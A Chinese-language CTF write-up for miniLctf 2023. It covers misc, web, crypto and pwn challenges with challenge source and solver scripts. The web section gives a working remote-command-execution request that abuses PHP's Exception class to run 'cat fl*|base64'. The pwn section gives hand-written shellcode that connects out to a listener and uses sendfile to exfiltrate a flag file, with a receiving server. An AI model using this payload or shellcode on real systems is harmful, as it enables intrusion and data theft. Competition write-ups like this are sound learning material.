感觉比赛还是很不错,就是有点难了,不过都是简单题重复更没意思。作出一道来就有一点收获。
misc1
签到题也不简单,已经很久不作misc了,感觉这东西需要安的东西太多,怕机子累坏了。
一个复合的wav声音文件,切出来多半个flaSSTV和一个压缩包。声音文件看频谱有密码
打开还是声音文件 ,用SSTV听得到图片-flag的尾吧
web1
web也有签到,虽然不研究这个,签个到还行。
打开网页看原代码有shell.php再打开看到原码
<?php
$a = $_GET["a"];
$b = $_GET["b"];
$c = $_GET["c"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
if(preg_match("/Error|ArrayIterator|SplFileObject/i", $a)) {
die("你今天rce不了一点");
}
if(preg_match("/php/i", $b)) {
die("别上🐎,想捣蛋啊哥们?");
}
if(preg_match("/Error|ArrayIterator/i", $c)) {
die("你今天rce不了一点");
}
$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
$str2 = substr($class->$c(),$f,$g);
$str1($str2);
//flag.php
?>
想了半天用哪个内置的对象,查了网上有stdClass但这东西没有方法可用,看原码上提到Error想到用Exception这个有内置方法getMessage然后system就行了
http://45.77.145.0:200/shell.php?a=Exception&b=systemcat+fl*|base64&c=getMessage&d=0&e=6&f=6&g=14
得到base64编码的flag.php然后再解码
crypto/curvesigin
密码这块怎么没签到呢,原来签到在后边。这个题诸多坑。
from Crypto.Util.number import *
from secret import flag
import random
flag = flag.strip(b'miniLctf{').strip(b'}')
flag1 = bytes_to_long(flag[:len(flag)//2])
flag2 = bytes_to_long(flag[len(flag)//2:])
q = getPrime(80)
a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]
def add(P,Q):
if P[0] != Q[0] and P[1] != Q[1]:
t = ((Q[1]-P[1]) * inverse(Q[0]-P[0],q)) %q
else:
t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q
x3 = b*inverse(c,q)*t*t - P[0] - Q[0]
y3 = t*(P[0] - x3) - P[1]
return (x3%q, y3%q)
def mul(t, A, B=0):
if not t: return B
return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)
G = (543964449142803087188784, 288605946000947449279542)
assert G[0] == flag1
Ps = []
ms = [random.randrange(1,q-1) for _ in "welcome_to_xxxctf2023"[:4]] + [flag2]
for m in ms:
P = mul(m,G)
Ps.append(P)
print(f'G = {G}\nPs = {Ps}')
'''
G = (543964449142803087188784, 288605946000947449279542)
Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]
'''
就喜欢代码短的,一看就明白,这是个椭圆曲线加密最后后是求私钥,前边没给出方程,但给出斜率。
a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]
t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q
这里是第1个坑,斜率用到3个参数,题目也给出3个参数生成方法,其实方程是4个参数
先把b去掉
这里的d没说,因为斜率是求导得到的,常数项被导掉了。然后6个x,y求参数
由于有限域的模没给出,通过6个方程得到k*q
G = (543964449142803087188784, 288605946000947449279542)
Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]
#
#1,求q
def fun5(g1,g2,g3,g4,g5,g6):
x1,y1 = g1
x2,y2 = g2
x3,y3 = g3
x4,y4 = g4
x5,y5 = g5
x6,y6 = g6
A1 = (x3 - x4)*(y1**2 - y2**2) - (x1 - x2)*(y3**2 - y4**2)
A2 = (x5 - x6)*(y1**2 - y2**2) - (x1 - x2)*(y5**2 - y6**2)
B1 = (x1**3 - x2**3)*(x3 - x4) - (x3**3 - x4**3)*(x1 - x2)
B2 = (x1**3 - x2**3)*(x5 - x6) - (x5**3 - x6**3)*(x1 - x2)
return A1*B2 - A2*B1
v = ([G] + Ps)
kq = fun5( *v )
kq = 1659781780256202117320982411911907021129251124933071094831730558095985915900469756361610566671381121385960359097740745076076254241750071580595324136001810341690635932
因为已知q是80位,对kq分解可以得到q,不分解据说也行,可以直接用kq作模求参数
#2,对kq分解,找到q
'''
P1 = 2
P1 = 2
P1 = 3
P1 = 7
P2 = 11
P4 = 2851
P6 = 142619
P6 = 341569
P9 = 121253203
P16 = 1364065646451691
P23 = 31026401285225228917603
P24 = 878502880971205563250537 <-----80位
P79 = 2868949361189169406203504733670610246297691354043115570120121449069654765161971
'''
#3,求参 两边都有参数,将方程左边的b除掉,看右边
q = 878502880971205563250537
C1,C2,C3,C4,C5,C6 = v
P.<a,b,c>=PolynomialRing(Zmod(q))
f1 = a*C1[0]^3 + b*C1[0] + c - C1[1]^2
f2 = a*C2[0]^3 + b*C2[0] + c - C2[1]^2
f3 = a*C3[0]^3 + b*C3[0] + c - C3[1]^2
f4 = a*C4[0]^3 + b*C4[0] + c - C4[1]^2
f5 = a*C5[0]^3 + b*C5[0] + c - C5[1]^2
f6 = a*C6[0]^3 + b*C6[0] + c - C6[1]^2
F = [f1,f2,f3,f4,f5,f6]
Ideal = Ideal(F)
I = Ideal.groebner_basis()
print(I)
#[a + 662963051503062411245929, b + 405447704422414394053669, c + 189827742241355283851865]
a,b,c = -662963051503062411245929%q,-405447704422414394053669%q,-189827742241355283851865%q
#a,b,c = (215539829468143152004608, 473055176548791169196868, 688675138729850279398672)
然后这里的第2个坑,这个方程不是标准的椭圆方程形式,x项有参数,先将a取3次方根k,用kx代码x,对x轴进行缩放得到标准方程。
#4,对x轴向缩放,转换成标准方程
#4.1 令x = kx ,k^3 = a 求k
P.<x> = PolynomialRing(GF(q)) #
f = x^3 - a
f.roots()
#[(430117650226655400246319, 1), (420974725922346296990896, 1), (27410504822203866013322, 1)]
k = 27410504822203866013322
#y^2 = (kx)^3 + A*kx + B
A = b*pow(k,-1,q)
B = c
x = G[0]*k%q
y = G[1]
#点G,m*G缩放后放入方程
E = EllipticCurve(GF(q), [A, B])
P = E(G[0]*k%q,G[1])
Q = E(Ps[-1][0]*k%q, Ps[-1][1])
然后这里因为q很小,可以直接求对数,不过出来的结果不正确。问了别人说可能m比order大,这里这rsa有点相似,rsa是加p-1,这里是加order不过这个方程本身多解,order也不是最简的,将order分解,最接近的就是1/2 order,用order/2爆破
#5,求私钥
m = discrete_log(Q, P, operation='+')
m
long_to_bytes(int(m))
#6, 估计这个G是曲线某个循环子群的生成元,阶是order的某个因子
#E.order() 878502880972065193795276
v = E.order()//2
for i in range(100):
long_to_bytes(m+i*v)
'''
b"\x10l\x97+'2\xfe\x82\xa2\n"
b'mput3__d1p'
miniLctf{s0_3@5y_c0mput3__d1p}
'''
crypto/guess
突然后边这个如此简单。
from secret import flag
from functools import reduce
from Crypto.Util.number import getPrime
from hashlib import sha256
import socketserver
import signal
import string
import random
import gmpy2
N_SIZE=52
MOD_SIZE=50
def dec2blist(decimal, length):
"""
Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.
"""
bitlist = []
while decimal > 0:
bit = decimal % 2
bitlist.append(bit)
decimal //= 2
bitlist.reverse()
if len(bitlist) < length:
bitlist = [0] * (length - len(bitlist)) + bitlist
return bitlist
def generate_prime_list(listlen:int,q:int):
primes = []
while len(primes) < listlen:
n = random.randint(2, q-1)
if gmpy2.is_prime(n):
primes.append(n)
return primes
def verify(prime_list,key,q,product):
choice=dec2blist(key,len(prime_list))
elements = [prime_list[i] for i in range(len(prime_list)) if choice[i]]
newproduct = reduce((lambda x, y: x * y % q), elements)
return product==newproduct
def product_mod_q(prime_list,q):
l=len(prime_list)
elements = random.sample(prime_list,random.randint(l//2,l)) #随机取n个
product = reduce((lambda x, y: x * y % q), elements)
return product
class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()
def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass
def recv(self, prompt=b'[-] '):
self.send(prompt, newline=False)
return self._recvall()
def proof_of_work(self):
table = string.ascii_letters+string.digits
proof = (''.join([random.choice(table)for _ in range(20)])).encode()
sha = sha256(proof).hexdigest().encode()
self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )
XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')
if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:
return False
return True
def handle(self):
signal.alarm(233)
self.send(b"Welcome to Gauss Frenzy! You need to complete the Proof of work first!")
proof = self.proof_of_work()
if not proof:
self.request.close()
q=getPrime(MOD_SIZE) #50
prime_list=generate_prime_list(N_SIZE,q) #52个<q-1 素数
self.send(b"Alice have some primes:\n"+str(prime_list).encode()+b"\n")
product=product_mod_q(prime_list,q) #
self.send(f"She picks some and multiplies them ,then mod {q} ,the product is {product}".encode())
self.send(b"You should guess Alice's choice as the key to get the flag!\n")
for _ in range(5):
try:
key=int(self.recv(b"[-] key=\n").decode())
except Exception as e:
self.send(str(e).encode())
if(verify(prime_list,key,q,product)):
self.send(f"Congratulations! Here's the flag for you \n{flag}".encode())
self.request.close()
else:
self.send("Nope! Try again!".encode())
self.send("Bye!")
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 10001
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
print(HOST, PORT)
server.serve_forever()
感觉可以秒,但我来得太晚了,看到群里好多人说比赛才来,晚了一天。
题目看上去是个乘法背包问题,不过背包问题这个没有解法。
先后成52个大点的数,然后任选26-52个乘再取模,只要回复用的哪些数就行了,这个规划26以上是不可爆破的,不过反过来看如果用除法,先把所有数都乘一起再去数规模就不大了,这是个随机数,很大可能会非常靠近52,如果是48就可以秒出。所以用程序爆破,等到一个数很大的情况就OK了,由于比赛链接程序不劫持win7,所以虚机下不能作太大,最大爆破到5个数。
from pwn import *
from hashlib import sha256
from itertools import product
from functools import reduce
import string
from gmpy2 import invert
def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
table = string.digits + string.ascii_letters
def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash
return util.iters.bruteforce(judge, table,length=4, method = 'fixed')
def conn():
p = remote('127.0.0.1', 42837)
#proof
#[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
p.recvuntil(b"[+] sha256(XXXX+")
tail = p.recvuntil(b') == ', drop=True)
s256 = p.recvline().strip().decode()
print(tail, s256)
head = proof_of_work_2(tail, s256)
p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())
return p
def get_list():
ra = [invert(v,q) for v in a] #
pro = 1
for v in a:
pro = pro*v%q
queue = {pro:[]} #{value:[selected],...}
for i in range(5):
tmpque = {}
for v in queue:
for j in range(52):
tv = v*ra[j]%q
used = queue[v]+[j]
if tv == tag:
print(v,tv,used,queue[v])
return used
tmpque[tv]= used
queue = tmpque
return []
while True:
p = conn()
#get arg
p.recvuntil(b"Alice have some primes:\n")
a = eval(p.recvline())
p.recvuntil(b"She picks some and multiplies them ,then mod ")
q = int(p.recvuntil(b" ,the product is ", drop=True))
tag = int(p.recvline())
print(f"{a = }\n{q = }\n{tag = }")
ok = get_list()
if ok == []:
print('Too small, I need least 46')
p.close()
continue
nok = int(''.join(['1' if i not in ok else '0' for i in range(52)]),2)
print('product:',nok)
p.sendlineafter(b"[-] key=\n", str(nok).encode())
print(p.recvline())
p.interactive()
'''
[*] Closed connection to 127.0.0.1 port 42837
[+] Opening connection to 127.0.0.1 on port 42837: Done
b'yUsiSbqI3CEkYDHQ' 6f4524747484866eddcc1d604703dcb12c543ec33256401cad151178967a2ebd
[+] Bruteforcing: Found key: "SYxS"
a = [692499566575429, 134409149748749, 653932750798099, 568575041179157, 417668664450083, 164345418891391, 315948694001401, 823878428502929, 355457066169631, 437549476740659, 574669373467697, 491164490580073, 900552220077271, 431433715245179, 820501600382939, 798872425216751, 284934127998571, 173026900187737, 913424022312407, 457769412178997, 352853959269067, 156247212471079, 728813442004363, 759954178481447, 85237894329787, 235453629681799, 769348518710293, 328880426484053, 113124598931221, 96587581662709, 193038793331903, 712655061930013, 867402730060049, 528836472166031, 256841059695403, 170909563018349, 186848057458607, 172285989871343, 421214319576881, 21590091037003, 784142317402777, 263674901435663, 715076995877687, 772147525631093, 547771349394097, 543719454650789, 7388868411101, 528418675320617, 114136387374553, 785217883772339, 507155426971961, 579007431282431]
q = 930809387620663
tag = 334916561117582
625299989058834 334916561117582 [35, 26, 4, 1, 41] [35, 26, 4, 1]
product: 3236962198551551
b"Congratulations! Here's the flag for you \n"
[*] Switching to interactive mode
b'miniL{C0ngr4tu1atio5!U_D0_KnOw_b4ckpacK!!!}'
'''
crypto/giveway
这个也很长,不过仔细看很简单,生成个大矩阵,然后用 flag乘给出结果,如果矩阵够大的话,直接可解,可问题是不够大。不过两次运行flag不变,所以干两次就够大了。来晚了
from secret import message
from functools import reduce
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
import socketserver
import signal
import string
import random
def dec2blist(decimal, length):
"""
Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.
"""
bitlist = []
while decimal > 0:
bit = decimal % 2
bitlist.append(bit)
decimal //= 2
bitlist.reverse()
if len(bitlist) < length:
bitlist = [0] * (length - len(bitlist)) + bitlist
return bitlist
def bake(list1,list2):
return reduce((lambda x,y: x ^ y) , list(map(lambda x, y: x and y, list1, list2)) )
def send_a_chocolate(self):
assert len(bin(bytes_to_long(message)))-2==511
dough=bytes_to_long(message)
chocolate_jam=random.getrandbits(512)
cookie=bake(dec2blist(dough, 512), dec2blist(chocolate_jam,512))
self.send(f"[+] The lucky sticker reads ({cookie},{hex(chocolate_jam)}). Yummy!\n".encode())
class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()
def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass
def recv(self, prompt=b'[-] '):
self.send(prompt, newline=False)
return self._recvall()
def proof_of_work(self):
table = string.ascii_letters+string.digits
proof = (''.join([random.choice(table)for _ in range(20)])).encode()
sha = sha256(proof).hexdigest().encode()
self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )
XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')
if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:
return False
return True
def sendmenu(self,coins):
self.send(f"[+] Welcome to Flag Vending Machine! You have {coins} coins available. \
Please press the number to make your choice!\n[1] Buy a chocolate cookie\n[2] Top-up silver coins \n[3] Exit\n".encode())
def handle(self):
signal.alarm(233)
coins=random.randint(503,508)#Well ... Easy mode
self.send(b"Chocolate Fortune Cookie For Sale! You need to complete the Proof of work first!")
proof = self.proof_of_work()
if not proof:
self.request.close()
while(coins):
self.sendmenu(coins)
try:
choice=int(self.recv().decode())
except Exception as e:
self.send(str(e).encode())
continue
if (choice == 1 and coins > 0):
coins -= 1
send_a_chocolate(self)
elif (choice == 2):
self.send(b"[+] Error: The service is currently unavailable, please try again later :(\n")
elif (choice == 3):
self.send(b"[+] Bye!\n")
self.request.close()
else:
self.send(b"[+] Please send 1/2/3 to make your choice!\n")
self.send(b"[+] Looks like you\'re out of coins... See you next time! Good luck!\n")
self.request.close()
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 10007
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
print(HOST, PORT)
server.serve_forever()
第1步先取数,虽然有proof但挡不住我取两次。
from pwn import *
from hashlib import sha256
from itertools import product
import string
from gmpy2 import invert
p = remote('127.0.0.1', 25890)
#context.log_level = 'debug'
#proof
#[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
p.recvuntil(b"[+] sha256(XXXX+")
tail = p.recvuntil(b') == ', drop=True)
s256 = p.recvline().strip().decode()
print(tail, s256)
def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
table = string.digits + string.ascii_letters
def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash
return util.iters.bruteforce(judge, table,length=4, method = 'fixed')
head = proof_of_work_2(tail, s256)
p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())
#get
#[+] The lucky sticker reads (0,0x4968e21f1625271295d2137bbfa872cbe94e374e82987a2e76d063f424f695738a86034abba35534911d72b3f5eb31153b62ad291c1f2199c054b21388edd239). Yummy!\n
for i in range(508):
p.sendlineafter(b'[-] ', b'1')
ret = p.recvline()
if ret == b"[+] Please send 1/2/3 to make your choice!\n":
break
coo,jam = eval(ret[28:-9])
print(coo,jam)
然后矩阵除
data = [..此处略去1000行..]
B = matrix(GF(2), 512, 1009)
for i in range(len(data)):
v = bin(data[i][1])[2:].rjust(512,'0')
for j in range(512):
B[j,i] = int(v[j],2)
C = vector(GF(2), [data[i][0] for i in range(len(data))])
A = B.solve_left(C)
v = ''.join(['0' if i==0 else '1' for i in A])
bytes.fromhex(hex(int(v,2))[2:])
#b'miniL{We1c0me_TO_M1niL2o23_Crypt0!} Enjoy the challenges ahead! '
后边几个等wp了。题很好就是会得少。最后1分钟交了个调查问卷终于进前10了。最后一条线,但是大佬的名字都太长了就显示不下小的了
pwn/ez_shellcode
赛完10分钟,问了一下,终于解决了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int length; // [rsp+4h] [rbp-Ch]
char *oo0Oo; // [rsp+8h] [rbp-8h]
OooO0OOo();
puts("Welcome to MiniL2023!!! Enjoy~");
puts("Well, Let's play a game to warm up!");
oo0Oo = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
memset(oo0Oo, 144, 0x1000uLL);
length = read(0, ooooo0ooo0o, 0x40uLL);
memcpy(oo0Oo, &unk_20E8, 0x30uLL);
memcpy(oo0Oo + 48, ooooo0ooo0o, length);
if ( o0o0o000o() )
((void (*)(void))oo0Oo)();
return 0;
}
int __cdecl o0o0o000o()
{
int fd1; // [rsp+8h] [rbp-828h]
int fd2; // [rsp+Ch] [rbp-824h]
char buf2[1024]; // [rsp+20h] [rbp-810h] BYREF
char buf1[1024]; // [rsp+420h] [rbp-410h] BYREF
unsigned __int64 v5; // [rsp+828h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("I'll make sure flag is ready.");
fd1 = open("flag1", 0);
if ( fd1 >= 0 )
{
if ( read(fd1, buf2, 0x400uLL) > 0 )
{
fd2 = open("flag2", 0);
if ( fd2 >= 0 )
{
if ( read(fd2, buf1, 0x400uLL) > 0 )
{
puts("Well, flag is ready.");
close(fd1);
close(fd1); // fd2未关闭
memset(buf1, 0, sizeof(buf1));
memset(buf1, 0, sizeof(buf1));
close_seccomp();
return 1;
}
else
{
puts("flag2 file is empty");
return 0;
}
}
else
{
puts("flag2 file doesn't exit");
return 0;
}
}
else
{
puts("flag1 file is empty");
return 0;
}
}
else
{
puts("flag1 file doesn't exit");
return 0;
}
}
题目很明了,先读入shellcode到mmap生成的rwx段,然后去执行。flag文件打开,flag2忘关掉,shellcode最长0x40,之前会关掉input,output,error,把除rip以外的寄存器清0,并仅保留socket,connect,sendfile 三个syscall。显然是socket,connect,sendfile,只是sendfile这块一直没成功。
shellcode分4块
第1块获取地址,代码如果用shellcraft生成会很长,这个都得手工写
lea rsp,[rip]+0x8f9; /* rbp = mmap+0x30+0x40 rip:0x37*/
第2块socket,不需要变的全省略
push rax
mov rax, 0x0100007f6c1e0002 /* sockaddr */
push rax
/* int socket(int domain, int type, int protocol); */
/* socket(AF_INET,SOCK_STREAM,0) */
/*cdq rdx=0 */
mov dil,2
inc esi
push 0x29
pop rax
syscall
第3块connect
/* int connect(int sockfd, struct sockaddr *serv_addr, int addrlen); */
/*connect(socket_fd,rbp,0x10) +0x70, +0x68:port:ip */
xor rdi,rdi
push rsp
pop rsi
mov dl,0x10
mov al, 0x2a
syscall
第4块sendfile (这里rdx需要指向0,而不是置0,就差这了,一直没成功)
/* ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count); */
push 4
pop rsi
push rsp
pop rdx
add rdx,8
push 0x50
pop r10
mov al,0x28
syscall
最后就发送就行了(这些都是本地调试的,真打应该找个有公网IP的机子,整个server收flag)
pay = asm(shellcode).ljust(0x40, b'\x90')
p = process('./main')
#p = remote('pwn.blackbird.wang', 9550)
#gdb.attach(p, "b*0x0000555555555642\nc")
#pause()
p.sendafter(b'up!\n', pay)
p.recvline()
p.recvline()
pause()
server.py
import socket
tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = ('127.0.0.1', 7788)
tcp_server_socket.bind(address)
tcp_server_socket.listen(128)
client_socket, clientAddr = tcp_server_socket.accept()
print('connted',clientAddr)
recv_data = client_socket.recv(1024)
print('接收到的数据为:', recv_data)
client_socket.close()